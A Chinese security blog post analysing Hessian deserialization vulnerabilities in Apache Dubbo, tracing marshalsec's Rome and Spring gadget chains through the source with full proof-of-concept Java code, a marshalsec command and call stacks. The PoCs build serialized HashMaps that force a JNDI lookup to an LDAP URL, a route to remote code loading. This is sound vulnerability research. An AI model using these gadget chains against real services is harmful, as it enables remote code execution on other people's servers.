Java安全之Dubbo反序列化漏洞分析

0x00 前言

最近天气冷,懒癌又犯了,加上各种项目使得本篇文断断续续。

0x01 Dubbo

Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC(一种远程调用) 分布式服务框架(SOA),致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。

运行机制

Dubbo框架启动,容器Container一启动,服务提供者Provider会将提供的服务信息注册到注册中心Registry,注册中心就知道有哪些服务上线了;当服务消费者Consumer启动,它会从注册中心订阅subscribe所需要的服务。

若某个服务提供者变更,比如某个机器下线宕机,注册中心基于长连接的方式将变更信息通知给消费者。

消费者可以调用服务提供者的服务,同时会根据负载均衡算法选择服务来调用。

每次的调用信息、服务信息等会定时统计发送给监控中心Monitor,监控中心能够监控服务的运行状态。

以上图片是官方提供的一个运行流程图

节点角色说明

Provider暴露服务的服务提供方

Consumer调用远程服务的服务消费方

Registry服务注册与发现的注册中心

Monitor统计服务的调用次数和调用时间的监控中心

Container服务运行容器

服务容器负责启动,加载,运行服务提供者。

服务提供者在启动时,向注册中心注册自己提供的服务。

服务消费者在启动时,向注册中心订阅自己所需的服务。

注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。

服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。

服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

在使用Dubbo前,需要搭建一个注册中心,官方推荐使用Zookeeper。

下载解压 zookeeper ,将里面的 zoo_sample.cfg 内容,复制到 zoo.cfg 文件中。

tickTime=2000initLimit=10syncLimit=5dataDir=D:\漏洞调试\zookeeper-3.3.3\zookeeper-3.3.3\conf\dataclientPort=2181

Zookeeper端口默认是2181,可修改进行配置端口。

修改完成后,运行 zkServer.bat 即可启动Zookeeper。

dubbo文档

注册服务

定义服务接口 DemoService

packageorg.apache.dubbo.samples.basic.api;publicinterfaceDemoService{StringsayHello(String name);}

定义接口的实现类 DemoServiceImpl

publicclassDemoServiceImplimplementsDemoService{@OverridepublicStringsayHello(String name){        System.out.println("["+newSimpleDateFormat("HH:mm:ss").format(newDate()) +"] Hello "+ name +", request from consumer: "+ RpcContext.getContext().getRemoteAddress());return"Hello "+ name +", response from provider: "+ RpcContext.getContext().getLocalAddress();    }}

用 Spring 配置声明暴露服务

使用注解配置声明暴露服务,在 application.properites 中配置

dubbo.scan.base-packages=org.apache.dubbo.samples

然后在对应接口使用 @Component 或 @Service 注解进行注册

引用远程服务

consumer.xml

publicclassHttpConsumer{publicstaticvoidmain(String[] args)throwsException{        ClassPathXmlApplicationContext context =newClassPathXmlApplicationContext("spring/http-consumer.xml");        context.start();        DemoService demoService = (DemoService) context.getBean("demoService");        String result = demoService.sayHello("world");        System.out.println(result);    }}

配置协议:

设置服务默认协议:

设置服务协议:

多端口:

发布服务使用hessian协议:

引用服务

0x02 Hessian

Hessian概述

hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

序列化

importcom.caucho.hessian.io.Hessian2Output;importjava.io.ByteArrayOutputStream;importjava.io.IOException;publicclasstest{publicstaticvoidmain(String[] args)throwsIOException{        Person o=newPerson();        ByteArrayOutputStream os =newByteArrayOutputStream();        Hessian2Output output =newHessian2Output(os);        output.writeObject(o);        output.close();        System.out.println(os.toString());    }}

反序列化

importcom.caucho.hessian.io.Hessian2Input;importcom.caucho.hessian.io.Hessian2Output;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.IOException;publicclasstest{publicstaticvoid main(String[] args)throwsIOException{Personp=newPerson();        p.setAge(22);        p.setName("nice0e3");ByteArrayOutputStreamos = newByteArrayOutputStream();Hessian2Outputoutput = newHessian2Output(os);        output.writeObject(p);        output.close();System.out.println("---------------------------------");//反序列化ByteArrayInputStreamis= newByteArrayInputStream(os.toByteArray());Hessian2Inputhessian2Input = newHessian2Input(is);Objectperson = hessian2Input.readObject();System.out.println(person.toString());    }}

0x03 Hessian利用链

在marshalsec工具中,提供了Hessian的几条利用链

Rome

XBean

Resin

SpringPartiallyComparableAdvisorHolder

SpringAbstractBeanFactoryPointcutAdvisor

该链需要以下依赖

com.rometoolsrome1.7.0

构造分析

publicinterfaceRomeextendsGadget{@Primary@Args( minArgs =1, args = {"jndiUrl"}, defaultArgs = {        MarshallerBase.defaultJNDIUrl    } )defaultObjectmakeRome ( UtilFactory uf,String[] args ) throws Exception {returnmakeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[0]));    }defaultObjectmakeROMEAllPropertyTrigger ( UtilFactory uf, Class type, T obj ) throws Exception {        ToStringBean item =newToStringBean(type, obj);        EqualsBean root =newEqualsBean(ToStringBean.class, item);returnuf.makeHashCodeTrigger(root);    }}

在 JDKUtil.makeJNDIRowSet(args[ 0 ]) 进行跟进, arg[0] 位置为传递的ldap地址。

publicstaticJdbcRowSetImpl makeJNDIRowSet (StringjndiUrl ) throws Exception {        JdbcRowSetImpl rs =newJdbcRowSetImpl();        rs.setDataSourceName(jndiUrl);        rs.setMatchColumn("foo");        Reflections.getField(javax.sql.rowset.BaseRowSet.class,"listeners").set(rs,null);returnrs;    }

创建 JdbcRowSetImpl 实例,调用 setDataSourceName 方法对实例的 dataSource 值赋值为传递进来的 jndiurl 变量,随后调用 setMatchColumn 方法,将 JdbcRowSetImpl 实例的 strMatchColumns 成员变量设置为 foo ,最后将 JdbcRowSetImpl 实例的 listeners 变量设置为空,该变量位于父类 javax.sql.rowset.BaseRowSet 中。

下面走到 makeROMEAllPropertyTrigger 方法中

defaultObjectmakeROMEAllPropertyTrigger (UtilFactoryuf,Classtype,Tobj) throwsException{ToStringBeanitem = newToStringBean(type, obj);EqualsBeanroot = newEqualsBean(ToStringBean.class, item);    return uf.makeHashCodeTrigger(root);}

实例化 ToStringBean 对象,将type(这里为 JdbcRowSetImpl.class )和 JdbcRowSetImpl 实例传递到构造方法中,下面实例化 EqualsBean 对象将 ToStringBean.class 和 ToStringBean 的实例化对象进行传递。获取到名为root的实例化对象。接着调用 uf.makeHashCodeTrigger(root) ,该位置进行跟进。

defaultObjectmakeHashCodeTrigger (Objecto1 ) throws Exception {returnJDKUtil.makeMap(o1, o1);    }

该位置传递2个同样的对象到 makeMap 方法中调用

publicstaticHashMap makeMap (Objectv1,Objectv2 ) throws Exception {        HashMap s =newHashMap<>();        Reflections.setFieldValue(s,"size",2);        Class nodeC;try{            nodeC = Class.forName("java.util.HashMap$Node");        }catch( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);        nodeCons.setAccessible(true);Objecttbl = Array.newInstance(nodeC,2);        Array.set(tbl,0, nodeCons.newInstance(0, v1, v1,null));        Array.set(tbl,1, nodeCons.newInstance(0, v2, v2,null));        Reflections.setFieldValue(s,"table", tbl);returns;    }

实例化HashMap将长度设置为2,反射获取 java.util.HashMap$Node 或 java.util.HashMap$Entry ,实例化一个对象并且设置长度为2,并且第一个数据插入值为 java.util.HashMap$Node 的实例化对象,该对象在实例化的时候传递4个值,第一个值为0,第二和三个值为刚刚获取并传递进来的 EqualsBean 实例化对象,第四个为null。

插入的第二个数据也是如此。

走到下面则反射设置s这个hashmap中table的值为tbl,tbl为反射创建的 java.util.HashMap$Node 对象。

简化后的代码如下

//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupStringjndiUrl ="ldap://localhost:1389/obj";JdbcRowSetImpl rs =newJdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toStringToStringBean item =newToStringBean(JdbcRowSetImpl.class, obj);//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root =newEqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap s =newHashMap<>();Reflections.setFieldValue(s,"size",2);Class nodeC;try{    nodeC = Class.forName("java.util.HashMap$Node");}catch( ClassNotFoundException e ) {    nodeC = Class.forName("java.util.HashMap$Entry");}Constructor nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);nodeCons.setAccessible(true);Objecttbl = Array.newInstance(nodeC,2);Array.set(tbl,0, nodeCons.newInstance(0, v1, v1,null));Array.set(tbl,1, nodeCons.newInstance(0, v2, v2,null));Reflections.setFieldValue(s,"table", tbl);

利用分析

poc

importcom.rometools.rome.feed.impl.EqualsBean;importcom.rometools.rome.feed.impl.ToStringBean;importcom.sun.rowset.JdbcRowSetImpl;importmarshalsec.gadgets.JDKUtil;importmarshalsec.util.Reflections;importorg.apache.dubbo.serialize.hessian.Hessian2ObjectInput;importorg.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Array;importjava.lang.reflect.Constructor;importjava.sql.SQLException;importjava.util.HashMap;publicclassremotest{    publicstaticvoidmain(String[] args) throws Exception {//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupStringjndiUrl ="ldap://127.0.0.1:1389/obj";        JdbcRowSetImpl rs =newJdbcRowSetImpl();        rs.setDataSourceName(jndiUrl);        rs.setMatchColumn("foo");//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toStringToStringBean item =newToStringBean(JdbcRowSetImpl.class, rs);//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root =newEqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap s =newHashMap<>();        Reflections.setFieldValue(s,"size",2);        Class nodeC;try{            nodeC = Class.forName("java.util.HashMap$Node");        }catch( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);        nodeCons.setAccessible(true);Objecttbl = Array.newInstance(nodeC,2);        Array.set(tbl,0, nodeCons.newInstance(0, root, root,null));        Array.set(tbl,1, nodeCons.newInstance(0, root, root,null));        Reflections.setFieldValue(s,"table", tbl);        ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();        Hessian2ObjectOutput hessian2Output =newHessian2ObjectOutput(byteArrayOutputStream);        hessian2Output.writeObject(s);        hessian2Output.flushBuffer();        byte[] bytes = byteArrayOutputStream.toByteArray();        System.out.println(newString(bytes,0, bytes.length));// hessian2的反序列化ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);        Hessian2ObjectInput hessian2Input =newHessian2ObjectInput(byteArrayInputStream);        HashMap o = (HashMap) hessian2Input.readObject();//        makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));}}

到此不得不提到 Hessian 的反序列化反序列化机制,在反序列化过程或获取一个需要序列化对象的对应的反序列化器,如现在这里的 MapDeserializer 。感觉这个和Xstream的反序列化机制有点类似。反序列化机制在此不细表,后面再去跟踪该反序列化机制

publicObjectreadMap(AbstractHessianInputin) throws IOException {Objectmap;if(this._type ==null) {            map =newHashMap();        }elseif(this._type.equals(Map.class)) {            map =newHashMap();        }elseif(this._type.equals(SortedMap.class)) {            map =newTreeMap();        }else{try{                map = (Map)this._ctor.newInstance();            }catch(Exception var4) {thrownewIOExceptionWrapper(var4);            }        }in.addRef(map);while(!in.isEnd()) {            ((Map)map).put(in.readObject(),in.readObject());        }in.readEnd();returnmap;    }

((Map)map).put(in.readObject(), in.readObject()); 跟踪该位置

publicVput(K key, Vvalue){returnputVal(hash(key), key,value,false,true);    }

这里获取到的key和value的值都为 EqualsBean 实例化对象。

该位置去调用hash方法去计算hashcode的值

staticfinalinthash(Objectkey) {inth;return(key ==null) ?0: (h = key.hashCode()) ^ (h >>>16);    }

com.rometools.rome.feed.impl.EqualsBean#hashcode

publicint hashCode() {returnthis.beanHashCode();    }

这里的hashcode是调用 beanHashCode 方法

publicint beanHashCode() {returnthis.obj.toString().hashCode();    }

publicStringtoString() {        Stack stack = (Stack)PREFIX_TL.get();        boolean needStackCleanup =false;if(stack ==null) {            stack =newStack();            PREFIX_TL.set(stack);            needStackCleanup =true;        }String[] tsInfo;if(stack.isEmpty()) {            tsInfo =null;        }else{            tsInfo = (String[])stack.peek();        }Stringprefix;Stringresult;if(tsInfo ==null) {            result =this.obj.getClass().getName();            prefix = result.substring(result.lastIndexOf(".") +1);        }else{            prefix = tsInfo[0];            tsInfo[1] = prefix;        }        result =this.toString(prefix);if(needStackCleanup) {            PREFIX_TL.remove();        }returnresult;    }

调用this.toString

privateStringtoString(Stringprefix) {StringBuffersb =newStringBuffer(128);try{List propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);Iteratorvar10 = propertyDescriptors.iterator();while(var10.hasNext()) {            PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();StringpropertyName = propertyDescriptor.getName();            Method getter = propertyDescriptor.getReadMethod();Objectvalue = getter.invoke(this.obj, NO_PARAMS);this.printProperty(sb, prefix +"."+ propertyName, value);            ...

反射调用this.obj的 getDatabaseMetaData 方法

publicDatabaseMetaData getDatabaseMetaData() throws SQLException {        Connection var1 =this.connect();returnvar1.getMetaData();    }

privateConnection connect() throws SQLException {if(this.conn !=null) {returnthis.conn;        }elseif(this.getDataSourceName() !=null) {try{                InitialContext var1 = new InitialContext();                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

触发lookup,后面自然不用多说了。

lookup:417,InitialContext(javax.naming)connect:624,JdbcRowSetImpl(com.sun.rowset)getDatabaseMetaData:4004,JdbcRowSetImpl(com.sun.rowset)invoke0:-1,NativeMethodAccessorImpl(sun.reflect)invoke:62,NativeMethodAccessorImpl(sun.reflect)invoke:43,DelegatingMethodAccessorImpl(sun.reflect)invoke:498,Method(java.lang.reflect)toString:158,ToStringBean(com.rometools.rome.feed.impl)toString:129,ToStringBean(com.rometools.rome.feed.impl)beanHashCode:198,EqualsBean(com.rometools.rome.feed.impl)hashCode:180,EqualsBean(com.rometools.rome.feed.impl)hash:339,HashMap(java.util)put:612,HashMap(java.util)readMap:114,MapDeserializer(com.caucho.hessian.io)readMap:538,SerializerFactory(com.caucho.hessian.io)readObject:2110,Hessian2Input(com.caucho.hessian.io)readObject:86,Hessian2ObjectInput(org.apache.dubbo.serialize.hessian)main:57,remotest

SpringPartiallyComparableAdvisorHolder

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp

该gadget需要以下依赖

org.springframeworkspring-aop5.0.0.RELEASEorg.springframeworkspring-context4.1.3.RELEASEorg.aspectjaspectjweaver1.6.10

构造分析

defaultObjectmakePartiallyComparableAdvisorHolder ( UtilFactory uf,String[] args ) throws Exception {StringjndiUrl = args[0];        BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);returnSpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);    }

跟踪 SpringUtil.makeJNDITrigger 方法

publicstaticBeanFactorymakeJNDITrigger( String jndiUrl )throwsException{    SimpleJndiBeanFactory bf =newSimpleJndiBeanFactory();    bf.setShareableResources(jndiUrl);    Reflections.setFieldValue(bf,"logger",newNoOpLog());    Reflections.setFieldValue(bf.getJndiTemplate(),"logger",newNoOpLog());returnbf;}

publicvoidsetShareableResources(String... shareableResources){this.shareableResources.addAll(Arrays.asList(shareableResources));}

该方法将jndiurl转换成一个list对象,然后传递调用 this.shareableResources.addAll() 方法,该方法对

shareableResources 的 HashSet 进行addAll的操作

继续来到下面

设置logger的值为NoOpLog实例化对象,获取 bf.getJndiTemplate() 也进行同样操作。

接着返回bf的 BeanFactory 实例化对象

publicstaticObject makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf )throwsClassNotFoundException,        NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {    AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);    Reflections.setFieldValue(aif,"beanFactory", bf);    Reflections.setFieldValue(aif,"name", name);    AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);    Reflections.setFieldValue(advice,"aspectInstanceFactory", aif);// make readObject happy if it is calledReflections.setFieldValue(advice,"declaringClass", Object.class);    Reflections.setFieldValue(advice,"methodName","toString");    Reflections.setFieldValue(advice,"parameterTypes",newClass[0]);    AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);    Reflections.setFieldValue(advisor,"advice", advice);Class pcahCl =Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");    Object pcah = Reflections.createWithoutConstructor(pcahCl);    Reflections.setFieldValue(pcah,"advisor", advisor);returnuf.makeToStringTriggerUnstable(pcah);}

创建 BeanFactoryAspectInstanceFactory 的实例化对象,名为aif,并将bf变量和name分别反射赋值到beanFactory和name中。bf为上面获取的 BeanFactory 对象。

接着创建 AbstractAspectJAdvice 对象,将 aspectInstanceFactory 的值,设置为aif变量对象进行传递。

将advice的 declaringClass 、 methodName 、 parameterTypes 分别设置为 Object.class 、 toString 、 new Class[0] ,创建 AspectJPointcutAdvisor 对象,将前面设置了一系列值的 advice 放置到 advisor 对象的 advice 变量中。

最后创建 org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder 对象,将 advisor 设置到该对象的 advisor 成员变量中。并且调用 uf.makeToStringTriggerUnstable(pcah);

跟踪该方法

publicstaticObjectmakeToStringTrigger (Objecto,Function wrap ) throws Exception {Stringunhash = unhash(o.hashCode());    XString xString =newXString(unhash);returnJDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));}

publicstaticHashMap makeMap (Objectv1,Objectv2 ) throws Exception {        HashMap s =newHashMap<>();        Reflections.setFieldValue(s,"size",2);        Class nodeC;try{            nodeC = Class.forName("java.util.HashMap$Node");        }catch( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);        nodeCons.setAccessible(true);Objecttbl = Array.newInstance(nodeC,2);        Array.set(tbl,0, nodeCons.newInstance(0, v1, v1,null));        Array.set(tbl,1, nodeCons.newInstance(0, v2, v2,null));        Reflections.setFieldValue(s,"table", tbl);returns;    }

与前面的一致,再次就不做分析了

利用分析

poc

importcom.caucho.hessian.io.Hessian2Input;importcom.caucho.hessian.io.Hessian2Output;importcom.sun.org.apache.xpath.internal.objects.XString;importmarshalsec.HessianBase;importmarshalsec.util.Reflections;importorg.apache.commons.logging.impl.NoOpLog;importorg.apache.dubbo.serialize.hessian.Hessian2ObjectInput;importorg.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;importorg.springframework.aop.aspectj.AbstractAspectJAdvice;importorg.springframework.aop.aspectj.AspectInstanceFactory;importorg.springframework.aop.aspectj.AspectJAroundAdvice;importorg.springframework.aop.aspectj.AspectJPointcutAdvisor;importorg.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;importorg.springframework.aop.target.HotSwappableTargetSource;importorg.springframework.jndi.support.SimpleJndiBeanFactory;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Array;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationTargetException;importjava.util.HashMap;publicclassSpringPartiallyComparableAdvisorHoldertest{    publicstaticvoidmain(String[] args) throws Exception {StringjndiUrl ="ldap://localhost:1389/obj";        SimpleJndiBeanFactory bf =newSimpleJndiBeanFactory();        bf.setShareableResources(jndiUrl);//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf,"logger",newNoOpLog());        Reflections.setFieldValue(bf.getJndiTemplate(),"logger",newNoOpLog());//反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);        Reflections.setFieldValue(aif,"beanFactory", bf);        Reflections.setFieldValue(aif,"name", jndiUrl);//反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);        Reflections.setFieldValue(advice,"aspectInstanceFactory", aif);//反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);        Reflections.setFieldValue(advisor,"advice", advice);//反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toStringClass pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Objectpcah = Reflections.createWithoutConstructor(pcahCl);        Reflections.setFieldValue(pcah,"advisor", advisor);//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equalsHotSwappableTargetSource v1 =newHotSwappableTargetSource(pcah);        HotSwappableTargetSource v2 =newHotSwappableTargetSource(newXString("xxx"));        HashMap s =newHashMap<>();        Reflections.setFieldValue(s,"size",2);        Class nodeC;try{            nodeC = Class.forName("java.util.HashMap$Node");        }catch( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class,Object.class,Object.class, nodeC);        nodeCons.setAccessible(true);Objecttbl = Array.newInstance(nodeC,2);        Array.set(tbl,0, nodeCons.newInstance(0, v1, v1,null));        Array.set(tbl,1, nodeCons.newInstance(0, v2, v2,null));        Reflections.setFieldValue(s,"table", tbl);//反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();        Hessian2Output hessian2Output =newHessian2Output(byteArrayOutputStream);        HessianBase.NoWriteReplaceSerializerFactory sf =newHessianBase.NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        hessian2Output.setSerializerFactory(sf);        hessian2Output.writeObject(s);        hessian2Output.flushBuffer();        byte[] bytes = byteArrayOutputStream.toByteArray();// hessian2反序列化ByteArrayInputStream byteArrayInputStream =newByteArrayInputStream(bytes);        Hessian2Input hessian2Input =newHessian2Input(byteArrayInputStream);        HashMap o = (HashMap) hessian2Input.readObject();    }}

以上代码 在序列化部分多出来了几行代码。我们知道,一般对于对象的序列化,如果对象对应的class没有对 java.io.Serializable 进行实现implement的话,是没办法序列化的,所以这里对输出流进行了设置,使其可以输出没有实现java.io.Serializable接口的对象。

将断点打到 com.caucho.hessian.io.MapDeserializer#readMap

publicObjectreadMap(AbstractHessianInputin)throwsIOException{  ...while(!in.isEnd()) {        ((Map)map).put(in.readObject(),in.readObject());    }in.readEnd();returnmap;}

调用HashMap的put方法

publicVput(K key, Vvalue){returnputVal(hash(key), key,value,false,true);    }

与前面不同的是这里是借助putVal方法

finalVputVal(inthash, K key, V value,booleanonlyIfAbsent,booleanevict){        Node[] tab; Node p;intn, i;if((tab = table) ==null|| (n = tab.length) ==0)            n = (tab = resize()).length;if((p = tab[i = (n -1) & hash]) ==null)            tab[i] = newNode(hash, key, value,null);else{            Node e; K k;if(p.hash == hash &&                ((k = p.key) == key || (key !=null&& key.equals(k))))

key.equals方法位置进行跟踪

publicboolean equals(Object other) {returnthis== other || other instanceof HotSwappableTargetSource &&this.target.equals(((HotSwappableTargetSource)other).target);}

publicboolean equals(Object obj2){if(null== obj2)returnfalse;// In order to handle the 'all' semantics of// nodeset comparisons, we always call the// nodeset function.elseif(obj2 instanceof XNodeSet)returnobj2.equals(this);elseif(obj2 instanceof XNumber)returnobj2.equals(this);elsereturnstr().equals(obj2.toString());}

调用obj2的toString

publicboolean equals(Object obj2)  {if(null== obj2)returnfalse;// In order to handle the 'all' semantics of// nodeset comparisons, we always call the// nodeset function.elseif(obj2 instanceof XNodeSet)returnobj2.equals(this);elseif(obj2 instanceof XNumber)returnobj2.equals(this);elsereturnstr().equals(obj2.toString());  }

publicString toString() {            StringBuilder sb =newStringBuilder();            Advice advice =this.advisor.getAdvice();            sb.append(ClassUtils.getShortName(advice.getClass()));            sb.append(": ");if(this.advisorinstanceofOrdered) {                sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");            }

publicint getOrder() {returnthis.order !=null?this.order :this.advice.getOrder();}

publicint getOrder() {returnthis.aspectInstanceFactory.getOrder();}

publicint getOrder() {    Class type =this.beanFactory.getType(this.name);if(type !=null) {returnOrdered.class.isAssignableFrom(type) &&this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type,2147483647);    }else{return2147483647;    }}

publicClass getType(String name) throws NoSuchBeanDefinitionException {try{returnthis.doGetType(name);    }catch(NameNotFoundException var3) {thrownew NoSuchBeanDefinitionException(name,"not found in JNDI environment");    }catch(NamingException var4) {returnnull;    }}

privateClass doGetType(String name) throws NamingException {if(this.isSingleton(name)) {            Object jndiObject =this.doGetSingleton(name, (Class)null);returnjndiObject !=null? jndiObject.getClass() :null;

private T doGetSingleton(String name, Class requiredType) throws NamingException {        synchronized(this.singletonObjects) {            Object jndiObject;if(this.singletonObjects.containsKey(name)) {                jndiObject =this.singletonObjects.get(name);if(requiredType !=null&& !requiredType.isInstance(jndiObject)) {thrownew TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject !=null? jndiObject.getClass() :null);                }else{returnjndiObject;                }            }else{                jndiObject =this.lookup(name, requiredType);this.singletonObjects.put(name, jndiObject);returnjndiObject;            }        }    }

到了该位置调用 this.lookup(name, requiredType);

protected T lookup(StringjndiName, Class requiredType) throws NamingException {        Assert.notNull(jndiName,"'jndiName' must not be null");StringconvertedName =this.convertJndiName(jndiName);ObjectjndiObject;try{            jndiObject =this.getJndiTemplate().lookup(convertedName, requiredType);

publicTlookup(String name, Class requiredType)throwsNamingException{    Object jndiObject =this.lookup(name);if(requiredType !=null&& !requiredType.isInstance(jndiObject)) {thrownewTypeMismatchNamingException(name, requiredType, jndiObject !=null? jndiObject.getClass() :null);

publicObject lookup(finalString name) throws NamingException {if(this.logger.isDebugEnabled()) {this.logger.debug("Looking up JNDI object with name ["+ name +"]");        }returnthis.execute(new JndiCallback() {

public T execute(JndiCallback contextCallback) throws NamingException {        Context ctx =this.getContext();        Object var3;try{            var3 = contextCallback.doInContext(ctx);        }finally{this.releaseContext(ctx);        }returnvar3;    }

该位置获取InitialContext对象,传递到 var3 = contextCallback.doInContext(ctx); 方法进行继续调用

publicObjectdoInContext(Context ctx)throwsNamingException{                Object located = ctx.lookup(name);if(located ==null) {thrownewNameNotFoundException("JNDI object with ["+ name +"] not found: JNDI implementation returned null");                }else{returnlocated;                }

至此触发漏洞,该链比较长

调用栈

lookup:417, InitialContext (javax.naming)doInContext:155, JndiTemplate$1(org.springframework.jndi)execute:87, JndiTemplate (org.springframework.jndi)lookup:152, JndiTemplate (org.springframework.jndi)lookup:179, JndiTemplate (org.springframework.jndi)lookup:95, JndiLocatorSupport (org.springframework.jndi)doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)equals:392, XString (com.sun.org.apache.xpath.internal.objects)equals:104, HotSwappableTargetSource (org.springframework.aop.target)putVal:635, HashMap (java.util)put:612, HashMap (java.util)readMap:114, MapDeserializer (com.caucho.hessian.io)readMap:538, SerializerFactory (com.caucho.hessian.io)readObject:2110, Hessian2Input (com.caucho.hessian.io)main:87, SpringPartiallyComparableAdvisorHoldertest

SpringAbstractBeanFactoryPointcutAdvisor

构造分析

defaultObjectmakeBeanFactoryPointcutAdvisor ( UtilFactory uf,String[] args ) throws Exception {StringjndiUrl = args[0];returnSpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl));}

